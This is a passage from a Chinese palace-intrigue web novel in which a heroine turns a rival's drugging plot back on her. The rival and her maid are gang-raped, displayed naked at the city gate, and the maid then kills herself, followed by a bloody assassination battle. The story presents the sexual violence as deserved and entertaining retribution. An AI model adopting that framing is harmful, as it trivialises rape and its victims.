关失越纤长的手指向下，勾住了向砚辞的衣襟，轻轻一提。 向砚辞呼吸慢了半拍，顺势站起身来…… ========== 第二日清晨，天刚蒙蒙亮，向砚辞从郡主府的侧门出门，意气风发地走在回家的路上。 突然，一个麻袋从天而降，精准无比地套在了他的头上。 紧接着，便是数不清的拳头邦邦邦地砸下来。 向砚辞拼命抵抗，拼命想扯开头上的麻袋，但是，对方出手太狠了，手脚太重也太快了，他毫无还手之力，只能被动挨打。 不知过了多久，身上再没有拳脚落下，向砚辞这才扯下了头上的麻袋，然而，哪里还看得到人影？ 袭击他的人早跑了。 向砚辞只能拖着疼痛的身体，叫天天不应，叫地地不灵地，慢吞吞地回去。 ========= 明日是工部侍郎之女许应如出嫁的日子。 关失越和谢七娘去许府给许应如添妆。 两人坐在马车上聊了一会，关失越从怀里摸出了一样东西，放到了谢七娘手里。 “什么啊？”谢七娘一边说着，一边打开了那纸张，然后，她的目光落在了纸上，半晌，眼眶一红。 “早就想给你的，只是你日日忙着店铺生意，天天早出晚归的，咱们很难得见上一面，所以，现在才给你。”关失越道。 谢七娘眼泪在眼眶里打转，她拼命眨了眨眼睛，眼泪还是落了下来。 “不。”她摇了摇头，“当初我们说好了的，我一辈子都要做你的下人……” 关失越拉住了她的手，道：“你原本就是世家贵女，让你做我的丫鬟，委屈了你了……” “我不委屈。只要能跟着娘子，我做什么都可以！”谢七娘道。 “我知晓。我知晓你是个好的，这些年来，你为我做了很多很多，而且，做得非常好。”关失越道，“在我心里，我是真的将你当成了我的亲姐妹。我只希望你好好的，希望你能抬得起头来做人。” 谢七娘身子一滑，跪在了关失越脚边，抱住她的腿，哭得一塌糊涂。 命运待她不公，将她打入万劫不复的泥潭。 她以为，她这一辈子都要在泥潭里腐烂了。 可是，她出现了！ 她何其有幸，遇到了她！ 以后她便是上刀山下火海，粉身碎骨，也要报答这份大恩大德。 马车很快到了许府。 许府来了很多人给许应如添妆。 谢婉婉也是其中之一。 关失越嘴角勾了勾。 看来，向砚辞说的应当没有假，谢婉婉今日要对她动手了。 她不免有些期待接下来的事情了呢…… 在看到关失越的那一刹那，谢婉婉被关失越的美貌和身段惊得踉跄了一步。 怎么会这样？ 她怎么会变这么美了？ 人还是那个人，可是肌肤更白了，有些地方更瘦了，有些地方则更胖了。 第165章 动手（2） 老天怎么这么厚待这个贱人？！！ 她不服！ 这贱人就应该是以前那个又黑又土，又矮又壮的丑女！ 就活该做她的替罪羊，一辈子被她踩在脚下。 而不是像现在这样，比她谢婉婉还好看！ 谢婉婉的手不自觉地紧握成拳，指甲深深嵌入掌心。 屋子里小娘子们的嬉笑声此起彼伏，很是热闹。 待到声音小了，谢婉婉朝着关失越和谢七娘的方向走来。 “七妹妹，好久不见了。” 谢七娘：“不敢当。” 谢婉婉笑了笑：“也是，如今你只是个丫鬟。这一屋子都是主子，你一个丫鬟站在这里，肯定也觉得无措吧？要不，你给各位小娘子倒杯茶来，如何？” 许应如面色一变，道：“是我这个做主人的怠慢了，来人，给关娘子倒茶来！” 谢婉婉淡笑不语。 然而，因着她刚刚那话，在场所有小娘子都用异样的目光看向谢七娘。 曾经的高门贵女，现今的丫鬟。 这冲击力不可谓不大。 “我瞧着关侍妾你这人心胸狭窄，最是见不得别人好。”关失越往前站了一步，挡在了谢七娘跟前，“说起规矩，关侍妾你很没规矩啊！见了本郡主竟不行礼。不过这事也正常，毕竟关侍妾你出身农家，不知这些礼数也情有可原。” 她哪里出身农家了？ 她明明是…… 谢婉婉气得身子发颤，但她忍住了，朝关失越行了一礼。 其余人也要行礼，关失越摆了摆手：“大家都是好姐妹，不必如此。我这人不看重这些虚礼。” 谢婉婉：“……”合着你就专门针对我一个人？！！ 关失越抓住了谢七娘的手，将她拉到了身侧，道：“萋萋她很聪慧，很有能力，因此，我求了圣上，给了她一张良籍。如今，她不再是贱籍，也不是丫鬟了。” 许应如脸上有了笑容：“郡主此言当真？” 关失越：“千真万确。还在府尹那里备过案了。” 许应如几步走了过来，抓住了谢七娘的手，真心替她高兴：“七娘，恭喜你！你终于苦尽甘来了。” 其余小娘子也纷纷道贺。 谢七娘笑着接受恭喜，心里感动到无以复加。 被挤在人群后的谢婉婉狠狠咬着唇，手指捏成了拳头。 她好恨！ 好嫉妒！！！ 她原本想着，继续分化谢七和关二丫的，没想到…… 该死的关二丫，她怎么会舍得放了谢七的贱籍的？！！ 不过，农女就是农女！ 脑子就是蠢！ 捏着谢七的卖身契，她便可以永远拿捏谢七。 可一旦放了，谢七可就自由了！到时她想让谢七做什么，就全凭谢七的良心了！ 这在这个世界上，良心哪里有利益靠得住？ 呵呵，如此也好，她就好好等着，等着看关二丫被谢七背刺的那一日！ ========= 走过一段鹅卵石小径，关失越果然看到了等在凉亭里的谢婉婉。 仇人相见，分外眼红。 左右此处无人，四目相对间，谁也没有装，谁也没有对对方客气。 “别以为你现在长得好看了，就能比得过我！”谢婉婉道，“你也不想想你自己的什么身份！！” 关失越下巴一抬：“什么身份？你是说我是郡主，你是安王府一个没名没分的侍妾这身份吗？这么看来，我似乎完胜你啊！” 谢婉婉目光狠狠地剜向关失越：“我说的是出身！我是高门贵女，我谢氏乃是世家大族。而你，不过是个乡野村姑！！” 关失越嗤笑一声：“哦？是吗？你既然看不上我的出身，那干嘛要顶替我的身份？是觉得罪臣之女这个身份不好用了吗？还是说，营妓的身份更让你不能接受？” 这完全是在戳人肺管子。 谢婉婉险些被气得吐血，她颤抖着手指着关失越：“你……你……” 关失越：“做人不能既要当婊子还要立牌坊。 你看，你不想当婊子的时候，就让别人替你去；等看到别人好了，你又眼红了，又说到自己的出身上了。 你要真敢在圣上面前承认你谢家女的身份，那我还能高看你一眼。” 谢婉婉气过头了，反而平静了，她笑了笑，道：“不管如何，最终赢的人是我！我嫁给了安王，成了皇室中人。而你，被那么多男人糟践了，你是个烂、货了。” 关失越挑了挑眉，也笑了：“谢侍妾这话我倒是有点听不懂了，你这言下之意是，你虽嫁了安王，但安王却一直没有碰你吗？天啊！你的魅力原来竟这么不堪吗？” 谢婉婉又气到了：“谁说殿下没有碰我？！！他喜欢我喜欢得不得了！！” 关失越做恍然大悟状：“哦，这么说，你也不是完璧之身了嘛！不是完璧之身，那不也是你所说的‘烂货’？” 谢婉婉简直要被她的神逻辑给气疯：“你是不是蠢？是不是脑子有坑？被一个人碰，和被无数人碰，能一样吗？” 关失越好似真的在跟她探讨千古学术问题一般：“怎么不一样了？还不是一样的过程，一样的体验？” 谢婉婉：“！！！” 关失越似乎想起来什么，又摇了摇头：“还是有一点点不一样的，那就是…… 体验不一样。 就跟吃肉一样。 这世上有猪肉、鸡肉、鱼肉、羊肉、牛肉、驴肉等等各式各样的肉，而你只能一辈子吃同一款肉。 而我这个人呢，喜欢吃不同的口味，然后找出自己最爱吃的那一款来。” 谢婉婉：“……你……无耻、下流、放荡！！” 关失越：“你喜欢吃同一款肉你就继续吃呗，没必要指责别人换着口味吃，是吧？横竖都是吃饱就成。我这个人还是很节制的，基本不会吃撑。撑死，那就更不可能了！” 谢婉婉已经不想跟她说话了，这就是个蠢货！！！ 然而，关失越并没有就此打住，她看向谢婉婉，道：“我听闻安王府里有三个侍妾、两个庶妃、两个侧妃，安王还即将迎娶正妃，僧多肉少，还要让这么多人来瓜分，你能分到多少？你吃得饱吗？” 第166章 动手（3） 这已经不是气人，这是在羞辱人！！ 谢婉婉实在忍不了了，她手指偷偷将袖子里藏着的丝帕勾了出来。 丝帕里，包着她事先准备好的药粉。 在来之前，她事先服用了解药，不会出事。 但这该死的关二丫嘛…… 突然，一只纤长白皙的手伸了过来，按住了她的袖口。 那手看起来白得发光，美得惊人，纤细又脆弱，可是，力气却大得出奇，让谢婉婉如何使劲也挣脱不开！ 谢婉婉大惊，就要喊人。 为了方便引诱关失越过来，谢婉婉特意让自己的丫鬟站在了小径的另一头。 那里离凉亭还有些距离。 这时，关失越的另一只手快速地伸了过来，精准无比地捂住了谢婉婉的嘴巴。 谢婉婉剧烈挣扎。 关失越用自己的手臂和腿牢牢夹住谢婉婉的身体，让其动弹不了分毫，同时，她按着谢婉婉袖口的手一个用力，扯出了谢婉婉藏在袖口的丝帕，将里面包着的药粉尽数倒进了谢婉婉的嘴巴里。 做完这一切，关失越快速地扒下了自己的簪子，手指快速在簪子的某一处动了动，簪子断开，中间是空的，里面有她事先备好的药。 从向砚辞那里听到谢婉婉很可能会在今日动手，因此，在来许府之前，关失越便往里面装了这药。 此时正好派上用场。 ========= 与此同时，小径的另一头。 芷卉隐隐听到凉亭里有动静，便要过来，这时，她身后冒出来一个人。 是谢七娘！ 谢七娘拿了帕子捂住了芷卉的口鼻，过了几息，芷卉就晕了过去。 谢七娘从怀里掏出一块事先准备好的面纱，系在了芷卉的脸上，然后，将晕过去芷卉扛起来，朝着一道月亮门走去。 门边，一个许府的老婆子在接应。 老婆子事先得了谢婉婉的人的好处，在这里等人。 谢婉婉的人交待她的是：不许说话，不许乱看，直接将人弄到侧门外等在那里的马车上就行。 因此，婆子见到昏迷的芷卉没有多问，也没瞟，直接就从谢七娘手里接过了人，快速扛着人出侧门。 这一条路她事先打点过了，两刻钟之内无人。 老婆子扛着芷卉出了侧门，果然看到有一辆马车等在外面，她立马将芷卉放了进去，然后，又快速回到了月亮门。 月亮门处，谢七娘指着昏迷的谢婉婉对婆子道：“还有一个。” 婆子虽觉得有些疑惑，但为了五十两银子的好处，没有多问，扛起同样戴着面纱，同样昏迷的谢婉婉，大步走出侧门，将谢婉婉也丢进了马车里。 药粉是谢婉婉的人买的。 许府里收买婆子的事，是谢婉婉的人做的。 在许府侧门接应的马车，也是谢婉婉找人做的。 马车之后会去向哪里，谢婉婉和她的丫鬟芷卉接下来会经历什么，关失越不清楚。便是清楚了，也不会放在心上。 毕竟，这一切，都是谢婉婉应得的，是她自己自作自受！ 天作孽，犹可活；自作孽，不可活。 只是不知晓谢婉婉弄这么一出，到底是要她死，还是要她身败名裂了。 说起来，关失越也很期待接下来会发生什么了。 事情若是太大，说不得会闹得人尽皆知。 到时，谢婉婉和安王必定恨死了她。 不过有什么关系呢？ 反正设计这一切的人并不是她关失越，不管是让谁来查，大理寺的也好，京兆府的人也好，哪怕就是让摇光卫来查，查不到她关失越的头上！ 因此，在做完这一切之后，关失越毫无心理压力，和许应如告别之后，便与谢七娘一起去了店里，等着看后续。 她等啊等，等到天都快黑了，还没看到后续剧情。 关失越不禁纳闷了：难道说谢婉婉很善良，没有打算让关失越这个新封的皓月郡主身败名裂？ 就在这个念头浮上的时候，门外有一串急促的脚步声传来，听那声音，目的地正是她这里。 关失越抬头看向门口。 下一刻，沈淮瑾大步进来，面色沉肃，目光在店铺里逡巡，在看到关失越的那一瞬，他面上的忧虑焦急之色消失，换上了后怕惊喜之色。 他大步走过来：“你从许府出来一直都在这里吗？” 关失越眨了眨纤长的睫毛：“是啊。世子这般，是发生了什么事吗？” 沈淮瑾松了一口气，上前一步，身子距离关失越不到一拳头的距离。 他一把抓住了关失越的手，面上的欢喜之色毫不遮掩：“你没事，真是太好了。我还以为……” 这里面有事！ 绝对有事！！！ 这男人看起来文弱，但攥着她手的力道大得惊人，她没有挣开，让他握着，微微侧头望着他：“你以为我怎么了？你是不是听到了什么？” 沈淮瑾面上闪过一抹迟疑之色，很快，他摇了摇头：“没什么，你没事便好。” 关失越面上一冷，将自己的手从他手心里抽出来。 沈淮瑾要再去抓，却落了空，他想将手放到她的肩膀上去，关失越身子往椅背上一靠，避开了。 沈淮瑾的手僵在了半空。 “你别生气。我说。”沈淮瑾道，“我下午的时候听到一个消息，说是……婉婉好似要对你不利，我就带了人，满京都寻你。你没事就好。” 关失越面无表情：“哦，那你打探到，她是想如何对我不利吗？” 沈淮瑾：“……这个我倒是不知，只是我的属下今日上报了一个很奇怪的消息，说……说是今日不知怎么的，街上的乞丐、流民什么都都不见了踪迹。” 关失越：“……” “你那郡主府守卫不多，我担心……”沈淮瑾目光缱绻，眼里的侵占掠夺赤裸裸，“不若今夜你去我那里。我承恩侯府的守卫还是很好的。” 关失越：“……世子好意，我心领了。只是，我今日有些不方便。” 沈淮瑾耳根子顿时染上了一层绯红之色，那眼色逐渐蔓延到脸颊、脖颈，看起来分外诱人。 他喉结滚动了一下，脸更红了：“那……你什么时候方便？” 第167章 把柄 关失越：“……” “她什么时候都不方便！！世子不必问了。” 这时，一道声音自门外传来，很快，那人走了进来，身高腿长，猿臂蜂腰，正是楚翊尘。 楚翊尘大步走到沈淮瑾身侧，气势逼人，面色冷肃：“这么晚了，世子该回家了。否则，当心路上被人套麻袋。” 沈淮瑾看向楚翊尘，神色复杂难辨：“是你。” 楚翊尘轻蔑一笑，并未回应，他直接忽略了沈淮瑾，目光看向关失越：“今日安王府侍卫多有调动，不过你不必忧心，师父会帮你看着的。天色不早了，回家吧。” 沈淮瑾眸子眯了眯。 刚刚他看得很清楚，这个楚翊尘看向郡主的眼神不对。 那根本就不是师父看徒弟的眼神！ 那分明是男人看女人的那种眼神！！！ 难道说…… 如若是这样，一切便都说得通了。 这楚翊尘可真不要脸！！ 连自己的徒弟都要…… 无耻至极！！ ========= 回到家门口，关失越对想要跟进去的楚翊尘道：“再会，师父。” 楚翊尘脚步一顿：“明日见。” 身子转了个弯，回了自家。 他的平安伯府就在皓月郡主府隔壁，他想去看她，有的是机会。 关失越洗完澡，正打算躺床上去，楚翊尘便过来了。 他是翻墙过来的。 关失越看了他一眼，笑道：“看来我家的院墙还是修得矮了些，得再加高加固才好。” “是该如此。”楚翊尘走到床边，脱掉了脚上的鞋，爬到了床上，躺了下去，“过两日我给你找人来修葺。” 关失越：“今日去许府，我路过了曾经的蔡侍郎府。” 楚翊尘看了过来：“又想起蔡丫丫了？” “嗯。”关失越叹了口气，“养父养母不把她当人，连自己亲生父母也……蔡侍郎一家真是罪有应得！但，她的养母肖氏和那一家人更是恶毒。对了，师父，你说那一家子是怎么死的来着？” “不是早告诉你了吗？他们一家是被活活烧死的，没一个逃出来。”楚翊尘若有所思地坐起来，目光直视着关失越，“你怎么又问起这个了？难不成，你在怀疑我？” 所以，才在一年后的现在旁敲侧击地试探。 看他的答案跟当初的答案有没有不同。 记住本站: 关失越笑道：“没有！我怎么会呢？我只是今日经历了一些事，有感而发而已。你说这世上的人为什么要这样呢？” 楚翊尘：“今日你见着谢婉婉了。” 关失越：“是啊。” 楚翊尘：“她没对付你？还有，那沈淮瑾跑到你跟前来是什么意思？” 关失越笑了笑：“他以为我被谢婉婉害了，所以到处找我，并且还说，要保护我。” “胡说八道！就他那样的文弱身子，他能保护你？他不帮着谢婉婉害你就不错了！他就是个骗子！！阿越，你可千万别信他！” 关失越眸子眯了眯：“你刚刚叫我什么？” 楚翊尘似是才察觉到自己说了什么，错愕了片刻，移开目光。 关失越目光直视着他，不让他有半分闪躲的可能性。 楚翊尘终于败下阵来：“你……有一次说梦话，我听到了。” 所以，她在梦里说了什么？ 自我介绍？ 这是什么时候的事？ 她想想。 好似已经很久了。 “我说了什么？”关失越道。 楚翊尘别过了脸。 关失越大步过来，一把掐住了楚翊尘的下巴，将他的脸扳了回来，面对着她：“我说了什么？” 楚翊尘：“你放心，我不会说出去的。” 关失越神色倏地冷了下去。 楚翊尘忙搂住了她纤细的腰身：“我当时觉得事关重大，就…… 但是你放心，我只告诉了她一个人。 如今她是你的上级，想来她是不会说出去的。 之后，我再没说给第二个人了！ 这么多年了，你知道的！ 我可以永远为你保住秘密的！！” 难怪。 她当时也怀疑自己不小心说梦话。 毕竟，当时在训练营的时候，并不是一人一间房，而是四个人一间的。 自从楚清漪“提醒”了她之后，她就更小心谨慎了，不喝酒，尽量不让自己在梦里激动。 记住本站: “这么说来，我还得感谢你了。”关失越的神色依旧很冷，冷中透露出一丝戒备和疏离，“最后问你一遍，我是在什么时候、什么地点说的？” 楚翊尘从未见过如此冷淡、戒备的她，他心里莫名地恐慌，他手臂越发用力地抱着她，好似这样，她就永远会是他的一般。 “是你做完第一个任务，我们从流沙县逃回忘川县的时候。在我流沙县府邸。”楚翊尘一五一十地交待道。 “我做梦了？” “是。” “我都说了些什么？” “你说，你叫关失越，你会为她报仇的。” “还有呢？” “没有了。就这两句。” “你确定？” “确定。就这两句。” 关失越神色复杂难辨，她抓住楚翊尘的手臂，将它们从自己身上拉开：“真是难为了你了。” 两句话，竟记得那么清楚！！！ 然后，还不忘告诉他的上级！！！ 他们的关系可真好！ 该不会他和他的上级也“亲密无间”过吧？ 那时的她对他来说是什么呢？ 是学员，是可以随时可以泄、欲的工具，更是一个可以随时牺牲掉的路人甲吧！ 虽说，她对他也只是利用。 可是，她也真的将他当成自己的武学师父孝敬的。 她从未想过抓他的把柄。 然而，他却将牢牢她这么大一个把柄抓在手心！ 若不是因为沈淮瑾和向砚辞，他怕是会一直隐瞒着，在一个最要紧最致命的时机再拿出来拿捏她。 最最让人心寒的是，他还将这把柄告诉了别人！！！ 她如今的模样太过冷静，楚翊尘越发恐慌，他小心翼翼地探出手，攥住了她有些发凉的手指。 “二丫……”他声音发颤，手指重重地攥着她的手指，“你别跟那沈淮瑾和向砚辞了，好不好？我……我嫉妒！” 他知晓她的身子到底有多美好！ 有多让男人食髓知味、欲罢不能！！ 记住本站: 第168章 一丝不挂挂在城头 他太清楚了，所以，才不想，不敢让别的男人也知晓！！！ 他担心那些男人跟他一样，疯狂地想要独占她。 而对于她身边的其他男人，他们只想斩草除根！！！ 只有男人才了解男人。 只有男人才知晓她的致命吸引力。 “阿越，越娘，我真的很心悦很心悦你！我肯定是这世上最爱你的男人。为了你，我甚至可以去死。” 楚翊尘死死地抓着关失越，仿佛溺水之人拼命抓到了水面上的一截浮木。 “你别理他们，就跟我一个人，好不好？” “虽然我只有一个人，但我身体强壮，我体力很好。” “我从小就根骨极佳，这世上没有哪个郎君比我更好了。” “我经验丰富，技术极好，我保证，绝对能让你很快乐很快乐的。” “我知晓我们是师徒。师徒之间如此是受世人诟病的。所以，我想好了，你不成婚，我也一辈子不成婚，我们两个还像现在这样，一直这样一辈子，好不好？” 关失越面色不断变换，许久都没有说话。 楚翊尘身子向前探了探，用自己的身体包裹住了关失越。 “我很能打。我可以做你一辈子的护卫，拿命来护你！” “安王派了很多人来杀你，有我在，你肯定能毫发无损。” “今夜他们怕是就要动手。” “我留下来，可以保护你。” “呵！”关失越笑了一声，“所以，你想打算用那个所谓的‘把柄’，来拿捏我一辈子？” 楚翊尘：“我没有！我不是那个意思，我只是太想要和你一辈子了！！” 关失越仿佛没有听到他在说什么，自顾自地道：“可惜，你错了！那根本就不是我的什么把柄。” 楚翊尘：“……” 关失越继续道：“是，我曾经确实叫关二丫，但是，那并不是我喜欢的名字！ 于是，我给我自己取名关失越。 名字出自‘关山难越，谁悲失路之人’，我觉得这句话写得很好，所以就给自己取了这名字。 至于我在梦里说的那句‘我会为你报仇的’这话，也是我对曾经的那个我自己说的。 我一直都是我自己。 你以为的把柄，并不是你以为的那样。 要让你失望了，师父。” 楚翊尘：“这个名字好。比原先那个好。” “是吗？那就好！”关失越道，“以后我就叫这个名字了。” ========= 一夜无事。 第二日，关失越练了一个时辰的武，正打算去沐浴，就听到了莹秀激动的说话声。 莹秀两眼冒着八卦的光芒，鼻翼兴奋地翕动，咽了一口又一口口水。 “郡主你不知晓，天老爷啊！可了不得了！！” “太香艳了！！！” “婢子早上起来走到后门边，就听到外面有人在跑，说是要跑去看热闹！” “婢子还在想什么热闹呢，就听到有人说是两个没穿衣服的人被吊到了城门口！” “有的说是两个男的，有的说是两个女的，还有的说是一男一女！！！” “说是两人私通被发现了！” “婢子受不了了，就也跑去看了。” “老天爷啊！结果比我想的还要……啧啧啧！” “是两个女人！有点瘦，长得也白，但是吧，她们俩全身上下都是那种痕迹，一看就是被人那个了。” “她们的腿上、脚上，还有地上都是那种东西，啧啧啧，简直羞死个人了！” “所有人都说，她们俩被那啥了一天一夜，有不少于一百个人那个了她们！！” 关失越挑了挑眉：“不少于一百人？” 莹秀点了点头：“是他们说的！他们说得言之凿凿的，婢子感觉十有八九是真的！啧啧啧，她们也太惨了！” 关失越：“你都看清楚了？真的什么都没穿？一件衣服都没留？” 莹秀：“看清楚了！虽然人多，隔得远，但是，穿没穿衣服还是看得清的！！她们俩真的半件衣服都没有穿！！” 说着，莹秀还特意凑了过来，压低了声音：“婢子甚至都看到她们腿间的黑玉米须了。” 关失越：“你看清她们的脸了没？” 莹秀摇了摇头：“没有。她们虽然双手被绑到一起吊在了城门口上，但是……她们的头发很长，将脸完全挡住了。” 关失越：“这么大的事，守城的守卫没有禀告上面，将那两个女人放下来吗？” 莹秀有些遗憾地道：“放下来了。所以，婢子就回来了。不过，跑过去看的人好多好多啊！那可真的是人山人海、万人空巷啊！” 关失越：“守卫放她们下来后，有没有通知她们的家人过去接？” 莹秀恍然大悟，随即遗憾地拍了拍自己的脑门：“哎呀！婢子怎么没想到？哎呀呀，早知如此，婢子当初应当多等一会儿的！！！” 关失越道：“没事，你现在再去打探也是可以的。兴许他们还没走。” “好！婢子这就去！”莹秀说完，飞奔离去。 关失越美艳绝伦的脸冷了下来。 原来，谢婉婉计划着要这样对付她。 先是找那些乞丐流浪汉一起轮了她，然后再将她扒光了挂城墙上，让所有人围观。 真是阴毒！ 只是，她无论如何不会想到，她做的这一切，全部报应到了自己身上。 可真是自作自受。 ========= 此时的谢婉婉恨不能找个地缝钻进去。 太丢人了！ 太羞耻了！！ 她活不了了！！！ 啊啊啊啊啊，这一切，明明是她给关二丫安排的啊，怎么落到了她自己身上了？ 生了病的流民，臭烘烘的乞丐，得了花柳病的老猥琐男…… 想到他们那令人作呕的气味，想到他们那满身的脏污，她就忍不住想吐。 他们那肮脏的手肆意在她身上…… 这不是结束，这还只是开始。 最后，她还被一丝不挂地挂在城墙上，让无数人围观…… 想到这里，她吼间吐出一口血来，晕了过去。 芷卉也经历了同样的遭遇，她知晓谢婉婉的计划，她更知晓出了这样的纰漏，她的下场只会生不如死，于是，趁着无人注意，她瞅准了城墙，一头撞了上去。 鲜血喷溅。 芷卉在后悔和绝望中，咽下了最后一口气。 第169章 一个都不放过 安王昨夜歇在了尹侧妃院里。 尹侧妃是他上个月才迎娶的，生得娇美动人，嫁进来后便得了安王的喜欢。 因为这个，谢婉婉还跟安王生了好久的气。 六日前，谢婉婉才与安王和好。 当时安王为了讨好谢婉婉，特意给了谢婉婉去别院住两日的承诺。 今日，就是第二日。 尹侧妃一边给安王穿戴一边道：“殿下，要在这里用早膳吗？” 安王：“好。” 尹侧妃很高兴，忙让下人去准备。 这时，安王的贴身侍卫在外面求见。 安王拍了拍尹侧妃的手：“我去看看。” 不一会儿，安王面色不虞地走了进来，道：“早膳我就不用了，我现在要出去一趟，你自己吃。” 说罢就走了出去。 安王坐着马车，很快赶到了城门口。 在他手下的打点下，此时的谢婉婉被几匹花布裹着，被两人抬了起来，放进了安王的马车。 安王看到谢婉婉这个造型，气得脸都黑了。 他猛地扯开了花布，然后，就看到了那令他永生永世都不会忘记的一幕。 他再次将花布拉回来，再不敢看第二眼。 是谁？！！ 到底是谁将婉婉害成这样的？！ 他若是知晓，必定活剐了他！！！ ========== 刺客是半夜来的。 关失越惊觉的时候，刺客已经围住了皓月郡主府。 这一次的刺客尤其多。 数不清的人头，黑压压的一片。 粗略看去，好似有成千上万。 郡主府的侍卫、千里及的杀手、楚翊尘安排的杀手们，与闯入的刺客们拼杀在一处。 双方战斗打的异常激烈。 刀剑相撞声、暗器没入皮肉的声音、喊杀声、打斗声……混合在一处，让这原本静谧的黑夜变成了厮杀的战场。 记住本站: 地上横七竖八都是倒下的尸体，或者是残肢断臂，鲜血汩汩，顺着地缝渗进地下。 面对着这人间炼狱般的场景，关失越从墙上抽下一把大刀，加入了大战…… ========= 安王府。 得知安王今日派出了五十个暗卫、一百个死士去杀关失越，谢婉婉那扭曲的脸上终于露出一个畅快的笑容。 “就这些人？”谢婉婉突然想到什么，看向自己的丫鬟，“不是说暗阁那边还派了一百多个杀手来协助吗？那些人去了没有？” 丫鬟哪里知晓这些？但她又不敢不回答，只得顺着谢婉婉道：“王爷一言九鼎，他说了暗阁的人会去，那就肯定去了。主子，那皓月郡主今晚必死无疑。” 谢婉婉大笑了两声：“那是自然！” 安王的暗卫武功可厉害了！！ 绝对能将关二丫那个贱人砍成肉泥。 再加上还有一百个死士，一百多个暗阁杀手，那贱人这次绝对活不了了！ 哈哈哈哈哈，她终于很快就能为自己报仇了！！ “我之前千叮咛万嘱咐，让他们留着那贱人活口，我要亲自报仇。”谢婉婉看向丫鬟，“你说，他们会将那贱人抓回来吗？” 丫鬟毫不迟疑地点头：“会的！肯定会的！！” 谢婉婉笑得更畅快。 关二丫害得她被那么多恶心的男人糟践，那些人里面，还有不少得了花柳病的，她这一辈子算是完了！ 她如今活着，就只有一个目标，那便是：报仇！！！ 她要将关二丫那贱人抓过来，给她喂烈性春药，让那些得了花柳病的老男人、脏脏的乞丐轮流玷污！！！ 她还要在她身上划满三千六百刀！ 还有那吃里扒外的谢七娘，她也不会放过！！！ 哈哈哈哈，她不好过，所有人都别想好过！ 等把关二丫谢七娘两人解决了，下一个就该轮到向砚辞了。 该死的向砚辞也不是个好东西！ 竟敢背叛她？！！ 若不是他将她的计划告诉了关二丫，关二丫又怎么会将计就计，反过来害她呢？ 说起来，最可恶的还是向砚辞！ 该死，他不是一直都喜欢她，发誓要一辈子做她的舔狗的吗？为什么要背叛她选关二丫？ 为什么？！！ 背主的贱人，她定要将他阉了！ 让他后悔来到这个世上！！ 记住本站: 还有沈淮瑾也不是好东西！ 明明说好，要爱护她保护她一辈子的，结果，关二丫那贱人对他勾勾手指，他立马就转投到她那边去了！！！ 凭什么？ 论出身，论才学，论样貌，那贱人有哪一样比得上她？ 她不服！！ 沈淮瑾，她也不会放过！！！ 等着吧，所以背叛她、伤害她的人，她一个也不会放过！！！ ========= 沈淮瑾被叫醒了。 被人叫醒，他并没有愤怒的情绪：“郡主出了什么事？” 他给暗卫吩咐过，皓月郡主那边一旦有事，不管什么时辰，不管什么地点，都要第一时间向他汇报。 他半夜被叫醒，除了是有关关失越的事，再没别的事了。 果然，下一刻，他听到暗卫道：“皓月郡主遭遇刺杀，刺客很多，直接闯入郡主府行凶。” 沈淮瑾惊得跳起来，迅速寻找衣服，匆匆往自己身上套。 “什么时候的事？” 暗卫：“不知。看那样子，应当有些时候了。” 沈淮瑾：“你是如何知晓的？那边战况是不是很激烈？” 暗卫：“是咱们派去盯梢的人传回来的消息。战况如何，属下不是很清楚。” 此时，沈淮瑾已然穿戴好了衣服，边走边吩咐道：“将承恩侯府所有的暗卫、死士都叫上，过去支援！” 暗卫领命而去。 沈淮瑾大步往外走，打算去五城兵马司报案。 来不及准备马车，他直接去马厩牵了一匹马，快速出门。 走出去二十来丈，眼前突然出现了一队拿着火把的人马。 正中间那人身着紫色长袍，风姿卓绝，正是安王。 “这么晚了，世子这是打算去哪儿？”安王道。 沈淮瑾心里咯噔一下，不过面色如常，他朝安王拱了拱手：“殿下怎会深夜在此？” 安王冷笑一声，道：“回去吧，你今天晚上是走不出承恩侯府的。不信，你大可试试。” ========= 皓月郡主府的护卫一个个倒在了血泊里。 几个千里及杀手将关失越拱卫在中心，一个道：“不好，这里面有暗阁的人！！” 记住本站: 他们千里及和暗阁交手很多年了，暗阁杀手行事狠辣，武功虽不是最好的，但拼杀经验极为丰富，杀起人来很是致命。 记住本站: 第170章 喻恒也在 他们千里及不少人都死于暗阁杀手之手。 只是，暗阁的人怎么会跑到大夏来了？ 还来到了京都！ 他们该不会是为了那轩辕帝来报仇的吧？ 关失越早就察觉到了。 她的目光在一众黑衣人中逡巡，最后落到了其中一个人身上，道：“喻恒也在里面。抓住他，今晚的战斗便能结束了。” 几人朝着关失越的视线看过去，然后，互相交换了一个眼色。 “好！” 于是，几人调整了一下战略，再次加入战斗…… ========= 大夏和东越接壤的一个小镇上，突然出现了一团火光。 火舌舔舐着墙壁、屋顶，越烧越旺，越烧越红。 火光冲天，几乎将整个夜幕都照亮了。 紧接着，寂静的小镇顿时响起了嘈杂的声音。 火光中，屋子里的人匆匆忙忙往外冲。 然而，这些人还没冲到门口，便被不知哪里的箭矢给射中，倒在了地上。 隐在暗处收割生命的蒙面黑衣人互相对视了一眼，眼里尽是对生命的漠视。 突然，他们的身后刮起了一阵不知名的风，下一刻，他们还没反应过来，便被人从身后抹了脖子。 自始至终，连声音都没有发出来一点。 因着刚刚的事，屋子里的人不敢再往院子外跑。 眼见着火舌就要卷到他们身上了，这时，一个个黑衣人冲了进来，将或坐或站或躲或哭的人一个一个拽了出去。 “你们……你们是谁？”一个六七十的老妪用颤抖的声音问道。 老妪为人和善，虽遇到了这么可怕的事，老妪那满是皱纹的脸上并没有多少怨恨之色，让拽着她的黑衣人不免多看了她一眼，随即，改拽为托，两只手一起，将老妪托出了宅子。 “你们到底是谁？为什么要杀我们？”一个一看就是老妪的儿子的男人道。 这男人长得憨厚老实，身板端正，微矮，皮肤微黑，正是关父。 拽着关父的黑衣人没有回答他，从衣袖里不知掏出了什么东西，塞进了关父的嘴里。 只有一个拽着一个七八岁小娘子的黑衣人说话了：“别怕，我们是来救你们的！刚刚有黑衣人要杀你们，是他们放的火。但是，我们已经将那些坏人杀了。你们现在安全了。” ========= 京都，皓月郡主府，厮杀还在继续。 整个府邸都是尸体。 地上，房檐下，屋顶上，墙脚，水缸上，凉亭里，水池边，栏杆上，阶梯上…… 到处都是残肢断臂，到处都是血。 关失越雪白的寝衣上，有不少暗红色的血渍，如同朵朵红梅。 她的头发上、脸上、脖子上，也都被溅了点点血迹。 因为连续的厮杀，她力气耗尽了大半，即将力竭。 而敌人，还一个个向她冲杀而来。 关失越握紧了手里的大刀。 “别怕，我在。”楚翊尘左臂和左腿都受了伤，但他丝毫不觉。 